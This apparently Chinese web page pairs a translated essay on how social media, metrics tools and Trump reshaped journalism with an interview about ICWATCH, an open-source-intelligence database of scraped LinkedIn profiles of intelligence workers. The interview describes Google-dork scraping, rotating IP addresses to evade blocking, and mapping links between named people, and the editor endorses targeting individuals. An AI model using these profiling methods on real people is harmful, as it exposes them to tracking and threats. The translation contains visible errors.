“媒体认为 Agnew 不受欢迎的闹腾，”Arthur Schlesinger，Jr 在1970年观察说，但“没有人可以质疑 Spiro T. Agnew 的个性，也不会质疑他演讲的影响力”。任何新闻学者都不能忽视 Agnew。历史学家马修·普雷斯曼（Matthew Pressman）在《塑造新闻的自由主义价值观》中辩称，任何对二十一世纪新闻危机的理解都必须首先征服 Spiro T. Agnew 的鬼魂。

对于新闻工人们而言，现代新闻编辑室的关键时期是 Abramson 在1960年至1980年间所谓的“Halberstam 的黄金时代”，其信号特征是采用的并非自由主义偏见，而是自由主义价值观：“口译取代了传播，对抗主义取代了尊重。”

1960 年，“纽约时报”关于总统选举的每10篇文章中有9篇都是描述性的；而到1976年，超过一半是解释性的。这一转变部分是电视造成的结果—— 如果人们只是想知道发生的事的话可以去看电视，所以报纸不得不提供其他东西—— 而另一部分是麦卡锡主义的结果。

“麦卡锡的崛起迫使正直的报纸开发出一种报道形式，这种报道将麦卡锡所喜欢的内容放到了上下文中，”广播评论员 Elmer Davis 在1953年说道。五年后，“时报”将“新闻分析”列为报道的一个单独类别。“曾几何时，新闻报道就像录音机一样，”美国报业编辑协会公报于1963年发表评论说，“现在没有了。整整一代的事件教会我们变得更好—— 希特勒和戈培尔，斯大林和麦卡锡，自动化、模拟计算机和导弹。“

新闻人坚称，这些变化不是意识形态驱动的，但它们确实具有意识形态的后果。一开始，领先的保守派人士都同意这种观点，“让记者的偏见远离报道是最值得称道的，” Irving Kristol 于1967年写道。“将他的判断力排除在报道之外，可以保证真相不会被阉割。”

在“纽约时报”和“邮报”发表五角大楼文章之后，Kristol 改变了他的观点。他在1972年抱怨的记者现在“正在与社会和政治秩序永远对抗。”

到1975年，在水门事件之后，Kristol 坚持认为“今天的大多数记者”……都是“自由主义者”。“随之而来的是，对新闻界的保守派攻击已经开始，一路走到了特朗普时代—— ”纽约时报是卢瑟“，”美国有线电视新闻网是假新闻“，媒体是”真正的敌人“—— 并且，在一场革

命吞噬中，William Kristol 的 Weekly Standard 倒闭，他们是反特朗普的强硬派报纸。“可悲的和不诚实的 Weekly Standard ……已经破产了……愿它安息吧！” 特朗普发推文说。

20世纪50年代麦卡锡和电视对新闻业的影响，20世纪初特朗普和社交媒体对新闻业的影响都是一样的：即 改变规则。**Halberstam** 所称的黄金时代，或者说“新闻业的高水位标志”，大约在**1980**年就结束了。Abramson 在“真相招商”中的分析始于新闻业的低水位时段，2007年是 Facebook 推出新闻 Feed 后的第二年，“一切都开始分崩离析。“

“真相招商”不仅受到了“权力的存在”的启发，并且就是以后者为蓝本的。Abramson 的书遵循 Halberstam 的结构并模仿其风格，记录了少数几个全国知名媒体组织的历史—— 在她的案例中包括 BuzzFeed，Vice，Times 和华盛顿邮报—— 交替的章节由人物素描和报道的场景驱动。“每篇文章现在都存在于自己的页面上，它有一个独特的 URL，可以共享，并以病毒式传播，”Abramson 观察到，“这使故事本身，而不再是报纸，彼此竞争。”

这段历史是错过机会、失误和经验教训的编年史。早在1992年，“华盛顿邮报”的一份内部报告就敦促推出一种“电子产品”，他们说：“邮报应该站在最前沿”。Rusbridger 写道，早些时候，卫报启动了一个新媒体实验室，让许多人感到轻浮，因为当时“只有3%的家庭拥有一台 PC 和一台调制解调器”，这种情况与卫报自己的办公室大相径庭，“有传言说楼下有一个名叫保罗的家伙，有一台 Mac 连接到互联网上。”

一项1996年的“卫报”商业计划得出结论，优先考虑的是印刷品，“伦敦时报”编辑 Simon Jenkins 预测，“只要在互联网的舞台上昂首阔步一小时，就能在较小的媒体中占据一席之地。”

2005年，邮报失去了在 Facebook 上投资10%的机会，正如 Abramson 所指出的那样，回报将在几十年内赚得盘满钵满。华盛顿邮报 CEO Don Graham 和马克扎克伯格握手达成协议，签订了口头合同，但是，当扎克伯格匆匆离开它以获得更好的报价时，Graham 出于对刚起步的年轻人的善意，什么也没说，只是让他走了。

第二年，邮报摆脱了两名明星政治记者的提议，开始分拆网站；他们随后创建了 Politico。

Abramson 写道，“时报”拒绝了早期投资谷歌的机会，并且在其失败

的商业模式中放弃了一次性公布坏消息的传统做法，包括增加 Thursday Style 版块以吸引更多的高端广告收入。当时该报的编辑 Bill Keller 说，“钱啊！如果奢侈色情能拯救我们的话，那就这样吧。”

比“时报”和“邮报”未能做到的更令人担忧的是，他们所做的事至少都是由他们自己的编辑决定的，而不是 Facebook 和 BuzzFeed 的高管。如果说新闻业在过去的二十年中得到了彻底改造，那么就是，它的主要内容就不再是由记者和编辑而是由科技公司重新创造的，在一系列事件中，在 Abramson 的悲惨讲述中，它比一系列幼稚的特技更像是娱众的行为。

一直到20世纪80年代，各种各样的记者，包括杂志、广播和电视记者，都开始研究日报，学习诀窍和规则。 Rusbridger 于1976年开始作为剑桥晚报的记者，报道的故事包括一个关于人行横道的请愿书和一个看起来像温斯顿丘吉尔的根茎蔬菜（就像特朗普发型的玉米须那个流行meme）。在英国，一位想去舰队街（英国著名街道）的记者首先在省级报纸上工作了三年；这同样适用于美国，其中一名年轻记者在 Des Moines Register 和伍斯特 Telegram 都做过很长时间，然后才转到纽约时报或先驱论坛报 …… 而从20世纪90年代开始建立新媒体的人不再依靠这类背景资历（简单说，他们可以什么都不懂，就能进入传媒界并占据一席之地）

Jonah Peretti 开始在英国吸收了后现代理论，20世纪90年代中期，后来发表了一篇学术期刊文章，讲述了在晚期资本主义下新闻加速的视觉体验所产生的混乱、脱节和不连贯的思维方式，或类似的东西。请回忆 Don DeLillo 的“白噪声”中那个美国研究生教授写的文章（我们多次推荐过这部作品）。Pretret 认为观看很多 MTV 可能会弄乱你的头脑**—“MTV** 风格的媒体中那种快速的碎片化的东西侵蚀了观众的时间连续感”，让你变得困惑、愚蠢和孤独。

“资本主义需要精神分裂症，但它也需要自我，”Peretti 写道。 “通过加速晚期资本主义视觉文化的时间节奏，解决了这一矛盾。这种类型的加速促进了容易形成的弱自我，并且容易消失。“ 晒吧！秀吧！这是一个商业计划！

Peretti 在病毒性传播内容方面的职业生涯开始于2001年，当时他是 M.I.T.媒体实验室

的研究生，他的电子邮件和耐克运动鞋都是恶作剧（Peretti 订购了绣有“血汗工厂”字样的定制运动鞋，然后就流行了）—— 这个世界的规

则就是这样 ~

2005 年，一年之内纽约时报公司解雇了500名员工，邮报开始支付工作人员的提前退休—在中国被称之为“买断工龄”的那种东西，Peretti 加入了Matt Drudge 的助手 Matt Drudge 和美国在线时代华纳前公关 Ken Lerer 的队伍，在阿里安娜·赫芬顿（Arianna Huffington）这位百万富翁和前反女权主义者的帮助下，他们一起发起了赫芬顿邮报。

Peretti 负责创新，其中包括点击量经济。在几年内，赫芬顿邮报的网络流量就超过了“洛杉矶时报”、“华盛顿邮报”和“华尔街日报”。它的业务是抢劫。

Abramson 写道，当时“纽约时报”发表了一篇基于 Wikileaks 提供的信息的深度独家报道，该报道花费了数月的调查工作和大量的资金，然而，赫芬顿邮报发布了自己的故事版本，使用的甚至是相同的标题—— 但它却击败了“纽约时报”的故事在谷歌中的排名。

“我们得知互联网的表现就像是寒鸦的叽叽喳喳，”Rusbridger 写道，“没有什么东西的吸引力能够超过两分钟”。

很快，遍地都是“寒鸦”—— 精神分裂的晚期资本主义加速疯狂的能指。 Breitbart 离开了赫芬顿邮报并开始了 Breitbart 新闻，与此同时，Peretti 离开了专注于他自己的公司 Contagious Media—他曾经在此推出了 BuzzFeed，在那里他测试了病毒性传播的极限—— 提供了七个关于同性恋企鹅的最佳链接和 “YouTube Porn Hacks（色情黑客）。”

他向风险资本家介绍了他的方法：“我们的算法检测到这种内容，它就会自动发布”—— “本行业的未来就是广告指导内容。”

Facebook 于2006年推出了 News Feed。2008年，Peretti 在 Facebook 上沉思，“思考新闻业的经济性。”该公司在2009年增加了“Like”按钮。

Peretti 将“可爱性”定为 BuzzFeed 的目标，并且，为了完善衡量它的工具，他邀请包括“时报”和“卫报”在内的合作伙伴与他分享他们的数据，以换取他对其指标的报告。这个列表很受欢迎。讨厌的人都很受欢迎。事实证明，充满了仇恨厌恶他人的新闻都可以塞进名单。

Chartbeat 是一家成立于2009年的“内容智能化”公司，于2011年推出了一项名为 Newsbeat 的功能：**Chartbeat** 提供实时的网络分析，显

示不断更新的网络流量报告，告诉编辑们，人们正在阅读什么故事、以及他们想看什么—— 邮报根据他们的 **Chartbeat** 数字将记者们淘汰出局了！在 Gawker 的办公室，Chartbeat 仪表板显示在一个巨大的屏幕上。

2011年，Peretti 推出了 BuzzFeed News，聘请了一位35岁的 Politico 记者 Ben Smith 作为主编。史密斯向他的记者要了一份的“每日独家新闻”，他告诉 Abramson，记者们对新闻规则几乎没有兴趣：“他们甚至都不知道自己打破了什么规则。”

2012年，BuzzFeed 推出了三种新的一键式方式，供读者回应故事，超越点赞—— LOL，OMG 和 WTF—— 还搞了个列表：“每个人应该对 Trayvon Martin 的谋杀感到愤怒的10个理由”，其中正如 Abramson 所解释的那样，BuzzFeed “简单地从其他地方发布的报告中摘取了所需要的内容，重新打包信息，并以强调情感刺激和名人效应的方式呈现。”

这就是 **IYP** 曾经在对中国的信息市场的分析中指出的：所谓“整合”，高度依赖市场分析作出的玩意，完全无视社会真正的需求，详见《在中国：火爆的信息倒卖市场和概念错位》

BuzzFeed 对 BuzzFeed 和 BuzzFeed News 进行了区分，正如报纸和杂志对其印刷品和数字版本之间的区分。大多数读者都失去了对这些区别的判断力。 BuzzFeed 新闻报道了 Trayvon Martin 的故事，但它的信息，和 BuzzFeed 一样，都来自路透社和美联社—— 这就是为什么如今你看到的新闻完全是一样的。

新闻机构正在削减记者和编辑，Facebook 也在削减其用户的新闻，具有充分的商业吸引力，但道德上没法反驳的想法，即 “人们应该只看到他们想要看到的新闻”。简单说就是不需要增加知识了，不需要批判性思考。

2013年，硅谷开始阅读自己的在线报纸“信息”（Information），Information 是以高质量的故事品牌订阅者为口号，以吸引精英高价订阅。

2014年推出的一项名为“趋势主题”的自动 Facebook 功能，主要是将垃圾视为趋势，因此刚毕业参加工作的“新闻策展人”获得了新的手动授权，“按摩算法”—这意味着自己决定哪些故事很重要。（去年，Facebook 停止了该功能。）

BuzzFeed 的读者流量在 2013 年已经超越了时报网站。BozzFeed 新闻由 BuzzFeed 提供补贴，BuzzFeed 与许多网站一样，包括目前大多数主要新闻机构的网站—— 通过“本地广告”赚钱，让广告看起来像文章。

在一些出版物中，这些虚假的故事很容易被发现；而在其他出版物，则很难被发现。在 BuzzFeed，这些假东西与其他故事的字体相同。BuzzFeed 的本地广告奖金意味着 BuzzFeed News 有钱支付记者和编辑们，它开始制作一些非常好的和非常严肃的报道—— 真正的新闻已成为了一种奢侈品。

截至 2014 年，BuzzFeed 雇佣了150名记者，其中包括许多外国记者。它痴迷于唐纳德特朗普的总统竞选传闻，并且最早于2014年1月跟随他所谓的“虚假竞选线索”。“曾经是纽约时报，现在是 BuzzFeed ……世界已经发生了变化”……无论是左派还是右派，特朗普都只是一个可以推动**“LOL**，**OMG** 和 **WTF**（哈哈哈、我操 和什么鬼）”的玩意。如今仍然是这样。

2014年3月，时报制作了一份创新报告，宣布报纸在“将新闻业引入读者的艺术和科学”方面落后，这是由 BuzzFeed 领导的一个领域。那年五月，Sulzberger 解雇了 Abramson，因为他在《纽约时报》做本地广告之类的事上不尽如人意。

与此同时，BuzzFeed 从其网站上清除了超过四千个早期报道。“这是在人们真的不认为自己在做新闻工作的时候作出来的东西，” Ben Smith 解释道。不久之后，“时报”开始制作更多名单，从书籍推荐到健身小贴士，再到总统辩论的重点。

“时报“仍然无与伦比。它在全球各地设有办事处，并将记者派往世界上一些最危险的地方。仅中国就有十几名记者—— 尽管如此，**BuzzFeed News** 变得更像时报了，而时报，却变得更像 **BuzzFeed**，都是因为“读者”、市场，正如 **Chartbeat** 在其无休止的闪烁仪表板上宣布的那样：想要更多列表、豪华色情，以及调动人们的憎恨情绪。

卫报于1821年成立为曼彻斯特卫报，自1936年以来一直由慈善信托基金持有，这有点使其与市场力量隔离开来，正如杰夫贝索斯现在为邮报所做的一样（企业媒体）。通过在 Rusbridger 掌管时投资数字读者研究，1995年，卫报成为英国在线市场的领导者。到2006年，三分之二的数字内容读者在英国之外。2007年， Guardian 承担了 Rusbridger 所谓的“伟大整合”，将其网络和纸质部门整合到一个新闻

机构中，并使用相同的编辑管理。

它还开发了一个关于印刷与数字之间关系的理论，决定在2011年成为“数字第一组织”，并“使印刷版成为一种更慢、更具反思性的阅读，而这种阅读是奢侈的，并不会在新闻中覆盖全部地方。 ”

Rusbridger 以一种明显的悲痛解释说，他开始意识到，社交媒体的兴起意味着“混乱的信息是免费的：良好的信息是昂贵的”，这反过来意味着”良好的信息越来越多地给了小精英“，”善意的信息和平等的竞争更加困难。“

他把这些情况视为一种挑战：“我们这一代人已经接受了重新思考社会几乎所有事物的挑战，几个世纪以来，人们对新闻业一视同理。”

这个挑战是否得到了满足？卫报自身的成功喜忧参半。截至2018年，它一直处于黑暗状态，部分依靠慈善事业，特别是在美国的“读者收入”中，捐赠形式不是订阅占据主导，所谓的自愿“会员”，预计不久将超过广告收入。

从关心新闻业的人那里筹集资金，使卫报能够保持其网站免费。它还报道了一些重大故事，从默多克文件电话窃听独家新闻到爱德华斯诺登的传奇故事，并提供了关于持续跟进和紧急快讯，特别是气候变化的相关报道。但是，对于所有精细报道和实质性的“长读”，该报不成比例地包含了意识形态上不变的意见短文。

通过一些措施，新闻业在2016年竞选期间进入了一个新的、特朗普的镀金时代，随着特朗普的爆发，当新闻机构发现特朗普的演技越丰富他们的 **Chartbeat** 数字就越多时，这就意味着有很多能让他当选的理由。

肿块肿成了一团，然后就是一种恶性肿瘤，一种像克利夫兰那般大小的癌瘤。在大选后的三周内，“时报”就增加了一万三千二千名新订户（这种影响还没有扩展到当地报纸）。世界各地的新闻机构现在都在宣传他们的服务，作为对特朗普主义和假新闻的补救措施；与伏地魔和他的黑魔法战斗是一个很好的表演方式，可以有效地吸引读者。

一个表演者的天下。“特朗普如何拯救了新闻报道”，2017年福布斯网站上的一篇文章的题目就是这个。每天都有新闻报道，包括 BuzzFeed News 在内的新闻报道。特朗普的表演技能为广告驱动的新闻业带来了福音。

杀不死你的必须让你强大。特朗普攻击新闻越有力，新闻就越赚钱。不幸的是，这并不是完整的故事。所有类型的编辑现在决定外包给 Facebook 的 News Feed、Chartbeat 或其他形式的编辑自动化，而许多人类编辑的手被算法锁定。

出于这样或那样的原因，包括二十一世纪新闻业的快节奏，现在经常出现的故事可能在一代人之前从没被出版过，这引发了报道范围的争论。

2016年，当 BuzzFeed News 发布斯蒂尔档案时，许多记者都不赞成，其中包括美国有线电视新闻网的 Jake Tapper，当时他开始担任华盛顿城市报的记者。

“将未经证实的信息放在互联网上是不负责任的，”Tapper 说。“这就是为什么我们没有发布它，以及为什么我们没有详细说明它的任何细节，因为它没有被证实，这不是我们应该做的。”

当特朗普政府的一位高级官员发表匿名评论文章时，“时报”改变了其惯常做法；“纽约客”在网上发布了一篇关于 Brett Kavanaugh 在耶鲁大学本科期间的行为的故事，参议院的共和党人指出这是一个反对被提名人的自由主义阴谋的证据。

对于编辑判断的这些问题还有很多空间可以争论。有时，这些分歧属于代际分歧。年轻的记者经常反对编辑限制，尤其是因为他们的选题相比高级新闻编辑人员更有可能包括特朗普明确和恶意攻击的群体中的人以及他的政府的政策，这是一个个人化的长期和不断增长的名单，有色人种，妇女，移民，穆斯林，LGBTQ 社区，以及在海地或任何其他国家—特朗普认为的“shitholes”。有时候年轻人是勇敢的，有时他们是粗心的，有时，这两者是一码事。

“更多’清醒’工作人员认为紧急时刻需要采取紧急措施，” Abramson 写道，并且“特朗普总统任期的危险已经消除了旧标准。”但是，这种分歧总是甚至通常是代际性的。例如，Abramson 支持 BuzzFeed 新闻关于斯蒂尔档案，就像她批准使用“谎言”这个词来指代特朗普的言论一样，按照邮报的估算，这个谎言在2018年每天的频率超过一打。

更广泛的问题是，特朗普政府的堕落、虚伪、粗俗和威胁，使包括记者和编辑在内的很多人摆脱了经济困境。目前的危机—不仅仅是生活的紊乱—已经使许多新闻工作者做出了让他们后悔的决定。

在这个 Facebook、Chartbeat 和特朗普主导的时代里，传统新闻机构

—与创业公司相比—已经违反或改变了他们的编辑标准，导致了政治混乱和认识论的混乱。

星期一早上编辑们是否坐在办公室里观察全球，并决定哪些故事最重要？或者，他们是否只是去查看特朗普的 Twitter 并让他来决定？显然，通常都是后者—— 有时，杀不死你的并不会让你更强大；而是让每个人都生病了。

媒体越是抵制，特朗普的追随者就越忠诚，美国的公共生活就越破碎；媒体追逐读者越是拼命，我们的新闻就越像我们的政治。

问题很好理解，但解决方案难以理解。优质的报道费用昂贵，但读者们不想为此掏钱。虽然也有特例，靠捐赠资助的 ProPublica，“一个独立的、非营利性的新闻编辑室，以道德力量制作调查性新闻”，雇佣了超过75名记者。、

良好的报道绝对不是快讯，它非常慢，好故事要徐徐展开，大多数需要讲述的故事都不涉及白宫。The Correspondent 是荷兰网站 De Correspondent 的英文版，试图“揭开新闻”。它不会投放广告；它不会收集数据（或者至少不会收集那么多）；它不会有付费墙。就像 NPR 一样，对每个人都可以是免费的，你可以通过购买会员去支持他们。

“我们希望从根本上改变新闻的内容，制作方式以及资金来源，”其创始人表示。他们说，推送通知式的新闻对你不利，因为它更注重耸人听闻、特殊、消极、快速和偶然，从而忽视了普通的、平常的、积极的、历史性的和系统性的背景问题。

The Correspondent 看起来怎么样？它有时候可能会很有趣。预计在 2019 年的某个时候，除了广告之外，当邮寄过来的时候，它看起来很像一本杂志。

……

报纸的死亡有时像其他死亡一样。那个老妇人和她的小女儿住在一座绿色房子里，穿着家常便服和拖鞋。小女而像小狗似的跟着太太走来走去，如果你在客厅里看到他们在看报纸，会发现老太太在仔细地阅读政论页，而小女儿则会把照片剪得乱七八糟。

有一次，当我骑到那里的时候，小女儿站在那里，气喘吁吁，没有言语的喧哗，没有理智的声音。老太太的身体不动了，她再也不会动

了。我呼救，握着小女儿的手，等待着警笛的鸣叫。除此之外，我不知道自己还能做什么。〇

原文

LR 用技术作为促进透明度革命的武器：一个成功的尝试 - iyouport

反抗者-寻求经验开源情报-每个人都可用的武器透明度革命长读

【2020年7月30日存档】开源情报和透明度革命原本就应该合力以解决问题。McGrath 是一个技术反抗成功的案例

编者按：

「图」

> “我保证，我将杀死与你的网站有关的所有人。在这个地球上，你无法向我隐瞒任何东西。”

上述死亡威胁于2015年5月13日从华盛顿特区的美国情报分析师发出到ICWatch网站，当时记录了100,000多个与美国 “情报社区” 相关的工作档案的ICWatch项目已被安置在WikiLeaks上。就在该项目刚刚推出的两周后；这一死亡威胁伴随着一系列DDOS攻击扑面而来。

ICWatch 当时已扩展到 139,361 个档案，这些记录揭示了数百种间谍、暗杀、无人机 和 审讯酷刑的关键细节 —— 为记者和检察官提供了重要的线索。

ICWatch 在2015年5月6日的柏林 Re:publica 会议上启动，受到好评。Transparency Toolkit 的创始人 MC McGrath 开发了该项目，并在柏林展示了该项目，他说：“开源情报是我们了解秘密监视程序的最大资产之一”。

国际上开源情报社区与透明度革命的支持者社区产生的争执很令人困惑。

两者都依靠技术，理论上技术是没有政治上的左右之分的，两者都是反抗者，如果能联合起来，其力量肯定能增大很多。

IYP 提供开源情报技术的主要目的是为了防御 —— 用直接的演示提

醒人们互联网能做到什么，利用 *对抗性思考方式* 帮助不了解追踪监视的人们制订更有针对性的更切实的自我保护计划。

反抗被视为第二要务。主要是考虑到开源情报的起源（它源于政府），并一直在政府机构中的使用率最高；公民和民间组织的使用稍不小心就容易导致收编或打压（尤其是在右翼占比大多数的国家 ……）。

不是每个人都能坚决拒绝高额待遇的，当政府用钱收买你的时候，守住非盈利的宗旨需要相当大的勇气。

当然，您可以说密码学也源于政府，但现在加密是所有互联网公民的基本功；没错，但是开源情报不同，作为反抗工具它更不容易普及，因为它需要行动者具有一定的基础。不存在一键式的东西。

我们自然希望开源情报技术能实现攻防兼备，也是为什么将「透明度革命」和「开源情报」两个栏目都放在 列表-5 “直接行动” 中。

McGrath 做出了一项尝试，以结合开源情报的技术和思考方式用来 *增强* 透明度革命的成果。

我们称 “开源情报是退一步” 的想法，并非否定其价值，而是，希望强调其作为辅助的功能 —— 从辅助信息验证、到挖掘信息战操作、再到追踪举报人的揭露，等等。McGrath 也确认了这点，即：如果没有举报人的揭露，仅仅开源情报可能很难做到查找幕后黑手。

而且，最后他强调了一个关键的也是最具争议的问题 —— 即 我们是否应该针对机构而非参与其中的个人，也就是所谓的平庸之恶。我们认为 McGrath 的想法很好。

机构是由人组成的，任何一种恶都是一个个人制造和积累出来的，体制不会在空气中单独存在，针对那些促进恶的个人比探讨体制本身更为切实。

下面是对 McGrath 的访谈。☞您能从中看到技术反抗的思考方式和行动力，中国的反抗者也许值得模仿。

M.C. McGrath 是德国柏林的黑客和激进主义者，并且是 Transparency Toolkit 的创建者。

该工具包提供了一套从各种开源渠道中收集数据的功能，是 McGrath 下一个项目 ICWATCH 的基础，ICWATCH 是一个大约 27000个来自

LinkedIn 的情报部门工作人员履历的数据库。

他使用该数据库查找有关情报界、秘密监视项目、以及其他非常隐秘的信息，但这些信息已通过专业网络平台 LinkedIn 公开发布。也就是说，他利用开源情报。

在这次访谈中，他讨论了对 Transparency Toolkit 和 ICWATCH 的流程和反应，不同类型的开源数据以及他为何认为追究个人责任很重要。其中有很多中国活动家值得关注的问题。

在您想到 *Transparency Toolkit* 之前，您还从事过其他哪些项目吗？

四年前，我开始非常积极地从事这一领域的各种小型项目。我终于决定自己受够了，想做点什么。我做的第一件事是抗议针对 WikiLeaks 的大陪审团调查，我聚集了很多朋友，但后来我们想到“我们是一群计算机科学专业的学生啊，为什么我们不做一些技术性的工作呢？为什么不尝试制作软件？”

因此，我开始在MIT媒体实验室的 Civic Media 上学习了一堆课程，并进行研究。

我做的一件事就是制作这个名为 Leaks Wiki 的项目，我采访了一群涉及透明度革命网站和调查性新闻的人，介绍他们的工作流程。他们如何获取数据、如何处理数据、如何发布信息，以及发现最有效的方法和面临的挑战。

我做了很多事，例如，将不同文档放入时间表以使其更易于浏览，以及不同的协作调查和决策系统。

然后，我着手进行众包和协作调查并研究它。我的想法非常广泛，可以帮助人们，管理协作调查并提供分析工具，它的规模太大，范围太广。所以在接下来的一年里，我一直关注如何削减。

我想：“现在我可以为记者制作分析软件了，这是一个很好的起点。”有次我正好坐在某个人旁边，他正在谷歌搜索“XKeyscore”，我看到了一大堆 LinkedIn 个人资料。

- XKeyscore 是斯诺登揭露的监视项目。因为文件显示，在 NSA 每月访问的德国多达5亿个数据连接中，主要部分是通过 XKeyScore 计划收集的。在这里看到完整报告中文版《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

当时我就想，“啊，我们可以开始以自动化的方式收集这些数据了”，然后我就开始制作网络图谱，显示哪些公司协助哪些秘密监视计划。

就在那时我开始意识到，有如此多的其他开放数据源可供每个人免费在线使用，其中包括如此多的秘密信息。

我一直在开发分析软件，但我最初只关注有目的的数据源，以及如何使用它们来揭露政府秘密，揭露侵犯人权行为，以及其他人们希望隐藏但又无意间透露在互联网上的东西。

作为一名学生您为什么对帮助 *WikiLeaks* 感兴趣？

大约在一年之前我就开始感兴趣了，并在新闻中阅读了一些内容，但当时我实际上并没有真正想参与其中。

我最终在学校加入了一个名为 “BUILDS” 的黑客空间，在那里我结交了很多朋友。我很快意识到，由于切尔西·曼宁（Chelsea Manning）参加了该黑客空间的开幕派对，他们对 WikiLeaks 的遭遇很愤慨。

后来，BUILDS 的创建者找到了曼宁人权支持网络，因此他在边境被捕并受到质疑，并最终被传唤出庭。

当我看到人们受到质疑、阻拦和监视时，我变得越来越沮丧。我的想法开始转变，从一开始的 “哇，这很重要，而且可能很有用”，变成 “嗯，我需要为此做点事，因为这是一个问题。”

Transparency Toolkit 背后的想法是什么？

随着时间的推移，它发生了很大变化。我可以指出某些基本想法，但其推理随时间而改变。

Transparency Toolkit 背后的总体思想是，能够理解很多信息很重要，而且有太多信息可用。

我当时在看着 WikiLeaks 发布所有这些信息时一直在思考，它实际上并没有被用于尽可能多的事。我对此感到有些沮丧。

因此，我开始考虑如何帮助人们加载所有这些信息并以更有效的方式进行访问的工具。然后我偶然发现了开放数据项目，这可以使它变得更加强大。*Screenshot from the Transparency Toolkit website, taken on 27 November 2015.*

是什么使这种数据（例如开放数据项目）或激进的透明度革命世界（如 *WikiLeaks*）更有效？

反抗者和公民社会组织可以通过三种主要方式从政府机构获取数据。

其中之一是政府通过 FOIA（信息自由法案）请求或开放数据项目自行发布它们，这很棒，人们在周围做了很多伟大的工作，但是，政府也可以选择性发布信息遮挡重要部分。

所以从某些方面来说，这是最弱的一种方式。也是一些右翼反抗组织倾向于使用的方法。它很难得到真实的信息。

- 当政府不遵守信息自由法案时怎么办《高明的反抗》

第二种就是泄漏的文档。举报人将文件发布给记者和媒体，并以这种方式公之于众。也就是 Wikileaks 使用的方法。

第三种方法只是利用内部人员和机构本身 *意外* 泄漏的自身数据。类似开源情报，比如《如何在线搜出机密信息：小游戏》。

这样做的有力之处在于，人们没有明确决定发布该信息，甚至没有举报人冒着生命危险发布该信息。它取决于人们自己的收集和理解。

它不依赖任何其他实体，除了偶然泄漏它的人之外，而且这总是会以某种方式继续发生。

我认为这就是使它特别强大的原因，它完全独立于其他任何事物，而且它也不是可以控制或关闭的东西 —— 因为当成千上万的人发布有关他们工作的秘密信息时，他们都无法再阻止这些信息。

就算发布者本人删除，它也将被缓存到其他网站。

当然机构内部可以制定有关人员可以发布的内容的限制政策，但是这需要时间，因此您无法轻松关闭或控制该内容。

什么是 *Transparency Toolkit*？里面有什么，我们如何与之互动？

透明度工具包是一组工具，可从各种开放数据源（如简历、工作清单、某些社交媒体平台、和其他网站）收集数据。

透明度工具包使用户可以轻松搜索数据并进行过滤。还可以可视化该数据并查看趋势，获得有关发生的情况和涉及的人员的更高层次的概

述。

透明度工具包是用于开源情报调查的免费和开源软件工具。它在许多方面都使用了监视国家所使用的某些相同的技术，但它是针对政府间谍使用的，而不是针对公民，并且仅基于开放数据项目。

也就是掌握在公民手里，对政府进行反向监视。

ICWATCH 由什么组成？

ICWATCH 是一个可搜索的集合，当前仅收集与政府间谍情报界相关人员的 LinkedIn 个人资料。 因为许多人在 LinkedIn 上提到有关他们的工作和工作经历的事。他们会把自己的技能写在 LinkedIn 档案中，有时还会提及未知的代码字。

我们会将这些信息全部收集在一个地方，并制作软件，以便任何人都可以搜索它们，以更好地了解监视程序，或者由哪些公司提供协助的监视程序，或了解情报行业人员的职业路径。

机构是由人组成的，数据能够帮助理解人们为什么参与其中，如果人们离开了情报界，他们为什么会离开，以及促使他们这样做的原因，这对于理解我们如何改变大规模监视状态的现实至关重要。

您如何描述 *ICWATCH* 中已有数据的规模？

在 ICWATCH 中，我们拥有大量数据，大约有 27000 个参与情报界间谍活动的人，尤其是美国情报界，但也有世界各地的间谍在里面。

那些说自己是承包商的人，可能提到一些有趣的术语、还可能会在自己的个人资料上列出大量秘密代码字，有时还会提供有用的描述。

仍然有一些程序没有在此数据中提及，它们可能是保护得更好的秘密，但其中有很多都被提到了。对于许多情报分析师使用的程序，例如 XKeyscore，您可以从公开渠道找到很多提及它们的信息。
Screenshot from the ICWATCH website taken on 27 November 2015.

为什么在首个 *ICWATCH* 版本中选择关注情报界和监视界？

我对情报和大规模监视感兴趣很长一段时间了。这也是一个特别有趣的话题，因为它是非常秘密的信息，但是仍然有很多东西可以从开源信息中找到。

特别是在信号情报方面，比其他类型的情报更重要的是，有许多代码字可以非常清楚地表明目标人在从事此工作，XKeyscore 和 PINWALE 以及所有其他这类东西。

这些都是非常具有指示性的，并且可以通过使用像 SIGINT 这样的术语来进行过滤，比起其他情报领域更容易找到。

您可以很清楚地说："这个人是一位情报分析师，他正在查看、拦截通信，并进行处理，他们可能专注于这个特定主题。"

您可以从某人的 LinkedIn 个人资料中看出更多的信息。因此，这非常有趣，我着手研究这一点的时候就在斯诺登的泄漏之后不久。

抓取、分析和清理数据中最困难的部分是什么？

随着时间的流逝，我们有了各种不同的抓取数据的策略。其中一些代码字是常用术语，因此，例如，如果您搜索诸如 "PRISM" 之类的常用字，就能找到很多提及PRISM的公司，它们与大规模监视有关。

但其中会有杂音。于是我们不得不开始使用诸如 " PRISM SIGINT" 之类的关键字过滤，因为它返回的结果要比 " PRISM" 更准确。

至少能找到从事信号情报工作的人，而且通常人们会提到 PRISM 作为监视计划，因此我们找到了一些方法来使结果筛选相关性更强。

Google 和 *LinkedIn* 之间有什么关系？

在抓取时，我们仅收集了 LinkedIn 的公开个人资料。无法在 LinkedIn 站内搜索，您必须具有URL才能查看它们，因此必须通过 Google，因为 Google 是唯一将它们编入索引的搜索引擎。

- 不要错过 《如何从求职网站快速追踪挖掘情报：高级LinkedIn搜索》
- 《把 LinkedIn 作为情报挖掘工具：简易指南》

使用 dorks 句式："site:linkedin.com/pub"，然后使用搜索关键字预览结果，我会说：很好，看起来没有太多噪音。我将其添加到列表中，然后运行它。

- 关于 dorks: 《攻防皆可用：GoogleDorking 高级运算符完整列表》
- 应用《社交媒体情报和反情报基本工具手册：自我人肉（2）》

但是我们必须开始切换IP地址，以避免被阻止，并且还必须放慢所有工具的速度，同样道理。（它在这里强调的是开源情报调查人员的自我保护技巧）

您收集的这些数据不仅可以显示人员简历，还可以查看个人、项目和机构之间的联系。您找到了哪种元数据？

肯定有很多有趣的元数据。你可以查看目标人在哪里工作，然后可以查看他们在从事哪些项目，然后可以列出不同监视项目背后的公司列表。

您可以看到哪些监视项目相互提及，哪些项目具有特定技能。旁边还有一个不错的相关人员列表，这也是非常有用的元数据。

您实际上看不到 LinkedIn 上人与人之间的联系，但也可以看到目标人以及经常在目标人旁边出现的其他人，他们很可能是有联系的。

